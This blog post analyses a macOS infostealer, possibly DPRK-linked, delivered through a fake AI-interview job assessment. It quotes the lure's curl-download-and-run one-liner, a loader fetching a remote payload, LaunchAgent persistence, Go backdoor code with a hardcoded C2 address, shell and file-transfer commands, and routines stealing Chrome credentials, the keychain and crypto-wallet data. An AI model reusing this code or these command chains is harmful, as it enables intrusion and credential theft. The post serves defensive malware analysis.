Blog

Malicious Job Assessments

Apr 8, 2026 | 8 minutes read

Tags: malware, macos, infostealer

A contact of mine recently went through what looked like a normal hiring process for an Institutional Partnerships role at a company named Stellar.

The role matched their background, the compensation was high but still believable for crypto business development, and the description looked like it had been written by someone who at least understood the space. The recruiters profile picture looks suspiciously AI generated but besides nothing unusual so far.

LinkedIn outreach

The next email came from [email protected]. Talvin.io seems to be a copy of talvin.ai a legitimate startup focused on AI enabled interviews. A lot of companies now experiment with async hiring flows, screening tools, and automated assessments. Talvin.io, the fake domain, is behind cloudflare and only existed for about 50 days. Typical typo-squatting. From here on, it was clear that nothing legitimate is going on.

Interview invitation

The online assessment asked for a local setup step. The explanation was roughly that screen capture and environment compatibility had to be verified before the interview could proceed. The unusual step was to execute a bash one-liner in the terminal. Absolute red flag.

Malicious prompt

The command looked like this:

1
2
3
4
echo curl -L "https://mac.softpedia.com/get/System-Utilities/Audio-Device-Blocker.shtml#download" -o AudioDeviceBlocker.dmg &
 curl -k -o /var/tmp/seccheck_macos64.sh https://security.talvin.io/... &&
 chmod +x /var/tmp/seccheck_macos64.sh &&
 nohup bash /var/tmp/seccheck_macos64.sh >/dev/null 2>&1 &

The first part is just an echo of a legitimate softpedia URL. followed by:

  • curl -k to download a loader from the fake website (disabled cert validation of course)
  • storing it to /var/tmp
  • making it executable and executing the script detached in a background process.

Suspicious.

Overview

What follows from here is my analysis of a malware campaign. The rough process can be described as:

1
2
3
4
5
6
7
8
9
Recruiter message
    -> interview invite from lookalike domain
    -> screen capture / security check
    -> shell script download
    -> second-stage payload extraction
    -> LaunchAgent persistence
    -> Go backdoor starts
    -> C2 loop
    -> browser / wallet / file theft

Stage 1: The Shell Loader

The downloaded script is not the actual malware. It is just a loader for the next stage that also takes care of the persistence.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
ZIP_URL_ARM64="https://ffmpeg.store/releases/<redacted>"
ZIP_URL_INTEL="https://ffmpeg.store/releases/<redacted>"
ZIP_FILE="/var/tmp/solution.zip"
WORK_DIR="/var/tmp/solution"
EXECUTABLE="launcher.sh"
APP="AllowMicDevice.APP"
PLIST_FILE=~/Library/LaunchAgents/com.driver1777239DICTINpatch.plist

case $(uname -m) in
    arm64) ZIP_URL=$ZIP_URL_ARM64 ;;
    x86_64) ZIP_URL=$ZIP_URL_INTEL ;;
    *) exit 1 ;;
esac

mkdir -p "$WORK_DIR"

if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then
    unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR"
    chmod +x "$WORK_DIR/$EXECUTABLE"
    "$WORK_DIR/$EXECUTABLE" &
fi

A few things are worth noting: First, the payload is architecture-aware. It chooses between Intel and Apple Silicon. That means the campaign was built to actually run on modern macOS systems. Second, the archive is hosted under ffmpeg.store. This is obviously not how FFmpeg is distributed. Third, the payload is unpacked into /var/tmp/solution. Temporary directories are writable and out of sight.

Persistence

Before executing the payload, the script installs persistence with a LaunchAgent:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
mkdir -p ~/Library/LaunchAgents

cat > "$PLIST_FILE" <<EOL
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//APPLE//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="2.0">
<dict>
    <key>Label</key>
    <string>com.webcam</string>
    <key>ProgramArguments</key>
    <array>
        <string>/var/tmp/solution/launcher.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <false/>
</dict>
</plist>
EOL

This is a standard macOS persistence mechanism. launchd manages per-user agents and system daemons, and launchctl is the standard way to load these jobs on macOS. Apple explicitly documents LaunchAgents as the preferred way to start per-user background processes. The attacker hides inside normal system behavior. Naming is deliberate:

  • plist: com.driver1777239DICTINpatch.plist
  • label: com.webcam
  • decoy: AllowMicDevice.APP

Stage 2: The Go Launcher

The last step of the loader is calling the actual downloaded payload.

1
2
3
if [[ -d "$WORK_DIR/$APP" ]]; then
    open "$WORK_DIR/$APP" &
fi

So after persistence is registered, it opens something called AllowMicDevice.APP. That is almost certainly there to reinforce the social engineering story. If the user sees a mic or webcam related prompt, it matches the “AI interview / screen capture” narrative they were already given

Inside the extracted directory we find a launcher.sh containing:

1
2
3
4
5
6
7
#!/bin/bash
cd "$(dirname "$0")"

lastanandfild="driv.go"
./bin/go run "$lastanandfild"

exit 0

This is a neat choice. Instead of shipping a compiled Mach-O binary directly, the archive ships a Go runtime plus source and runs it locally.

That has a few advantages:

  • fast repacking for each campaign
  • lower static signature reuse
  • less obvious attribution if different variants are generated

Here the entrypoint is driv.go:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
func RunDLL_0403_Main() {
    instance.Delay()
    instance.CheckDup_0403_Instance()
    instance.Register_0403_Instance()

    url := "http://31.57.243.92:8080"
    id := generate_0403_UUID()

    core.StartFirst0403Iter(id, url)
}

The behavior can be split into five parts:

  • some delay (probably anti-analysis or reducing the users suspicion)
  • single-instance enforcement
  • persistence registration
  • C2 connection
  • enter command loop

The duplicate-instance logic is quite simple:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func CheckDup_0403_Instance() {
    pidfile := filepath.Join(os.TempDir(), config.UUID_0403_FILE_NAME)
    data, err := os.ReadFile(pidfile)
    if err != nil {
        return
    }

    pid, err := strconv.ParseInt(string(data), 10, 64)
    if err != nil {
        return
    }

    proc, err := os.FindProcess(int(pid))
    if err != nil {
        return
    }
    err = proc.Signal(syscall.Signal(0))
    if err == nil {
        os.Exit(0)
    }
}

func Register_0403_Instance() {
    pidfile := filepath.Join(os.TempDir(), config.UUID_0403_FILE_NAME)
    os.WriteFile(pidfile, []byte(fmt.Sprintf("%d", os.Getpid())), 0o644)
}

func Delay() {
    time.Sleep(time.Second * 10)
}

The malware stores a PID file in /tmp/.store, exits if another instance is already active, and waits 10 seconds before continuing. That delay is a classic anti-analysis pattern. Very short-lived sandboxes sometimes only watch the first seconds of execution.

Command and Control

The core backdoor logic is in core.StartFirst0403Iter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
func StartFirst0403Iter(id string, url string) {
    cmdType := config.COMMAND_0403_INFORMATION
    isOnline := true

    for isOnline {
        switch cmdType {
        case config.COMMAND_0403_INFORMATION:
            msgType, msgData = proccess0403Info()
        case config.COMMAND_0403_FILE_UPLOAD:
            msgType, msgData = proccess0403Upload(cmdData)
        case config.COMMAND_0403_FILE_DOWNLOAD:
            msgType, msgData = proccess0403Download(cmdData)
        case config.COMMAND_0403_OS_SHELL:
            msgType, msgData = proccess0403OsShell(cmdData)
        case config.COMM0403AND_AUTO:
            msgType, msgData = proccess0403Auto(cmdData)
        case config.COMM0403AND_WAIT:
            msgType, msgData = proccess0403Wait(cmdData)
        case config.COMM0403AND_EXIT:
            isOnline = false
            msgType, msgData = proccess0403Exit()
        }

        msg = command.Make_0403_Msg(id, msgType, msgData)
        cmd, _ = transport.Htxp_Exchange(url, msg)
        cmdType, cmdData = command.Decode_0403_Msg(cmd)
    }
}

A classic command loop, pulling for an astonishing set of commands:

1
2
3
4
5
COMMAND_0403_INFORMATION = "qwer"
COMMAND_0403_FILE_UPLOAD = "asdf"
COMMAND_0403_FILE_DOWNLOAD = "zxcv"
COMMAND_0403_OS_SHELL = "vbcx"
COMM0403AND_AUTO = "r4ys"

It becomes clear that the capabilities consist of system information collection, file exfiltration, file drop, remote shell and automated credential theft.

Reconstructing the Message Format

Its clear this thing phones home. But the way it does, is incredibly hilarious. First it communicates via HTTP to an IP behind cloudflare. It is not clear to me why they do not use TLS but instead use their own broken crypto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const COMMAND_STACK_TOKEN = " "

func Make_0403_Msg(id string, reqtype string, data [][]byte) string {
    encoded := make([]string, len(data)+2)
    encoded[0] = id
    encoded[1] = base64.StdEncoding.EncodeToString([]byte(reqtype))
    for index, elem := range data {
        encoded[index+2] = base64.StdEncoding.EncodeToString(elem)
    }
    return strings.Join(encoded, COMMAND_STACK_TOKEN)
}

So message format is:

1
<id> <base64(type)> <base64(data...)>

The message is then wrapped in a custom binary protocol:

1
2
3
4
5
6
7
8
func Htxp_Exchange(url string, data string) (string, error) {
    packet := packet_Make([]byte(data))
    resp, err := http.Post(url, "application/octet-stream", bytes.NewBuffer(packet))
    ...
    rev, _ := io.ReadAll(resp.Body)
    plain := packet_Decode(rev)
    return string(plain), nil
}

Packet creation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
const KEY_LENGTH = 128
const SUM_LENGTH = 16

func packet_Make(data []byte) []byte {
    key := make([]byte, KEY_LENGTH)
    rand.Read(key)

    dst := make([]byte, SUM_LENGTH+KEY_LENGTH+len(data))

    cph, _ := rc4.NewCipher(key)
    cph.XORKeyStream(dst[SUM_LENGTH+KEY_LENGTH:], data)

    copy(dst[SUM_LENGTH:SUM_LENGTH+KEY_LENGTH], key)

    sum := md5.Sum(dst[SUM_LENGTH:])
    copy(dst[:SUM_LENGTH], sum[:])

    return dst
}

So consequently, the wire format is:

1
[ 16 byte MD5 ][ 128 byte RC4 key ][ RC4 ciphertext ]

Why do they encrypt the data using RC4 and send it over HTTP? Together with the key? And why the hash? Someone could modify the ciphertext and the hash altogether. Maybe they are just interested in evading some signatures and not actual confidentiality.

Theft Capability

The most interesting part is the auto command, because it makes the campaign clearly crypto-targeted. The sample knows about Chrome profile structure:

1
2
3
4
5
6
7
8
const (
    userdata_0403_dir_darwin = "Library/Application Support/Google/Chrome/"
    secure_0403_preference_file = "Secure Preferences"
    logins_0403_data_file = "Login Data"
    cookies_0403_data_file = "Cookies"
    web_0403_data_file = "Web Data"
    keychain_0403_dir_darwin = "Library/Keychains/login.keychain-db"
)

For macOS, it explicitly accesses the Keychain entry used by Chrome:

1
2
3
4
5
out, err := exec.Command(
    `/usr/bin/security`, `find-generic-password`,
    `-s`, `Chrome Safe Storage`,
    `-wa`, `Chrome`,
).Output()

That string is not invented by the malware author. Chromium really does use Chrome Safe Storage on macOS for its OSCrypt handling. The sample then derives the decryption key and collects browser artifacts:

1
2
3
4
5
if info.Name() == logins_0403_data_file || info.Name() == cookies_0403_data_file || info.Name() == web_0403_data_file {
    path_list = append(path_list, path)
}
path_list = append(path_list, keychain_dir)
util.Compress_(&buf, path_list, true)

In other words, it grabs:

  • saved logins
  • cookies / session state
  • web data
  • login keychain database

The wallet targeting is even less subtle. The config contains a long list of extension IDs, including MetaMask. And then walks through Local Extension Settings, Sync Extension Settings and IndexedDB paths.

The sample also contains code to modify Chrome Secure Preferences and inject permissions into extension configuration with a payload that grants capabilities such as:

1
2
3
4
{
  "api": ["activeTab", "clipboardWrite", "notifications", "storage", "unlimitedStorage", "webRequest"],
  "scriptable_host": ["http://*/*", "https://*/*", "file:///*"]
}

Conclusion

After digging around these characteristics are consistent with campaigns that have been attributed by multiple vendors to DPRK-linked operators. The here analysed malware seems to be very similar to FlexibleFerret: FlexibleFerret ( HybridAnalysis ). However, I can’t provide a definitive attribution here.

comments powered by Disqus